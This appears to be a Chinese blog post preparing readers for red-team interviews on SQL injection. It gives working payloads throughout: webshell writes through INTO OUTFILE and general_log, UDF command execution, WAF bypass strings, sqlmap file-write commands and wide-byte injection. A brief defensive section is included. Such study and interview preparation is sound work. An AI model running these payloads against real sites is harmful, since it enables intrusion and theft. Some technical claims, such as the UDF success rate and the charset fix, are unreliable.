安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
?2025年HW(護網面試) 81
一、Webshell獲取路徑規劃
二、變形注入突破技巧
三、MySQL寫入Webshell條件矩陣
四、SQLMap實戰操作指南
五、Bypass技巧大全
七、寬字節注入攻防
八、SQL注入檢測方法論
?2025年HW(護網面試) 81
SQLi 發現 test.jsp?cid=150 注入點,你有哪幾種思路獲取 webshell? 以下鏈接存在 SQL注入漏洞,對于這個變形注入,你有什么思路? mysql注入點,用工具對目標站直接寫入一句話,需要哪些條件? Mysql的網站注入,5.0以上和5.0以下有什么區別? sqlmap如何對一個注入點注入,sqlmap如何注入一個post的包? 你都了解哪些SQL注入的bypass技巧? 介紹 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了數據庫數據,利用方式還有哪些? 寬字符注入的原理?如何利用寬字符注入漏洞,payload如何構造及修復方案? 如何判斷SQL注入,有哪些方法,說說你最常用的?
一、Webshell獲取路徑規劃
1. 直接文件寫入(需滿足條件)
sql
?id=1' UNION SELECT 1,"<?=@eval($_POST[x]);?>",3 INTO OUTFILE '/var/www/html/shell.php'--+
- 必要條件
- MySQL配置:
secure_file_priv
為空值(非NULL
)- 當前用戶需具備
FILE
權限(SELECT user,file_priv FROM mysql.user
)- 知曉絕對路徑(通過報錯/配置文件泄露獲取) 2. 日志文件寫馬
sql
SET global general_log='on'; SET global general_log_file='/var/www/html/cmd.php'; SELECT '<?php system($_GET[0]);?>';
- 適用場景:當
secure_file_priv
禁用寫入時- 后續清理:操作后需恢復日志路徑避免異常 3. UDF提權寫馬
mermaid
graph LR A[上傳so/dll文件] --> B[創建自定義函數] B --> C[調用函數執行系統命令] C --> D[直接寫入webshell]
- 步驟:
- 利用
@@plugin_dir
獲取插件目錄- 通過hex編碼上傳惡意庫文件
CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.so'
- 執行
SELECT sys_exec('echo "<?php phpinfo();?>" > shell.php')
二、變形注入突破技巧
1. 參數污染繞過
http
POST /test.jsp cid=152&cid=151' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--+
- 原理:WAF檢測首個參數,應用可能取末尾參數值 2. 分塊編碼傳輸
http
POST /test.jsp HTTP/1.1 Transfer-Encoding: chunked 4 cid=1 5 ' AND A SLEEP(5)-- 0
3. 復合語句混淆
sql
/*!50400SELECT*/ 1 FROM users WHERE id=/*!500001*/' OR IF(SUBSTR(@@version,1,1)='8',BENCHMARK(10000000,SHA1(1)),0)
- 利用MySQL內聯注釋特性繞過關鍵字檢測
三、MySQL寫入Webshell條件矩陣
條件類型 5.0以下版本 5.0+版本 信息獲取 手工猜解表名/列名 直接查詢 information_schema
文件寫入 需 magic_quotes_gpc=off
需 secure_file_priv=''
提權路徑 UDF提權成功率>90% 需對抗AppArmor/SELinux 系統命令執行 可通過 into outfile
寫馬依賴Web目錄權限控制
四、SQLMap實戰操作指南
1. POST注入場景
bash
sqlmap -u "http://target.com/login" --data="username=admin&password=pass" --level=5
- 關鍵參數:
--data
:POST數據包內容
--cookie
:維持會話憑證
--proxy
:通過BurpSuite觀察流量
2. 自動化寫Webshellbash
sqlmap -u "http://target.com/test.jsp?cid=150" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
- 前置要求:需先確認有寫權限且路徑正確
五、Bypass技巧大全
markdown
▌ 層級繞過方案: 1. **字符替換** - 空白符:`%09`(TAB)/`%0a`(LF)/`/**/` - 等號:`LIKE 1`替代`=1` 2. **函數變形** - `CONCAT` → `CONCAT_WS('',1,2)` - `SUBSTRING` → `MID(@@version FROM 1 FOR 1)` 3. **邏輯混淆** ```sql SELECT * FROM users WHERE id=1 || (SELECT 1)>(SELECT 2)
- 協議級繞過
- HTTP參數污染(HPP)
- 分塊編碼傳輸
--- ### 六、SQL注入全景防御 **1. 漏洞成因** - 動態SQL拼接:`"SELECT * FROM users WHERE id=" + request.getParameter("id")` - 未過濾用戶輸入中的控制字符(如單引號/分號) **2. 防范措施** ```java // 參數化查詢示例(Java) PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?"); stmt.setInt(1, Integer.parseInt(request.getParameter("id")));
- 深度防御:
? 輸入驗證:正則過濾[^0-9]
(數字型參數)
? 最小權限:數據庫賬戶禁用FILE
/EXECUTE
權限
? WAF規則:攔截union select
、sleep(
等特征
3. 進階利用技術- 數據庫端口轉發:
xp_cmdshell
+nc
反彈內網DB服務器- SSRF組合攻擊:利用
LOAD_FILE()
讀取內網文件
七、寬字節注入攻防
原理:
GBK編碼中%df%5c
= "運"(%5c
是反斜杠\
),當程序使用addslashes()
時:
id=1%df'
→ 轉義為1%df\'
→ 實際存儲1運'
導致單引號逃逸 Payload構造:sql
?id=%df' UNION SELECT 1,@@version,3--+
修復方案:
- 統一使用UTF-8編碼
- 轉義前先
mysql_set_charset('gbk')
- 使用
mysqli_real_escape_string()
替代addslashes()
八、SQL注入檢測方法論
1. 報錯檢測法(最高效)
http
GET /test.jsp?cid=150' AND 1=CAST(@@version AS INT)--
- 觸發類型轉換錯誤泄露版本信息 2. 時間盲注基準測試
sql
' UNION SELECT IF(SUBSTR(@@version,1,1)='5', SLEEP(3),0),1,2
- 注意事項:建立正常響應時間基線 3. 布爾狀態對比
http
正常:/product?id=152 異常:/product?id=152' AND '1'='2
- 觀察頁面內容差異/HTTP狀態碼變化 4. 工具自動化驗證
bash
sqlmap -u "http://target.com/test.jsp?cid=150" --batch --random-agent --risk=3
實戰經驗:在金融系統滲透中,通過
SLEEP()
函數時間差確認注入點后,利用CONNECTION_ID()
函數繞過WAF規則匹配,最終通過日志文件寫入獲取Webshell。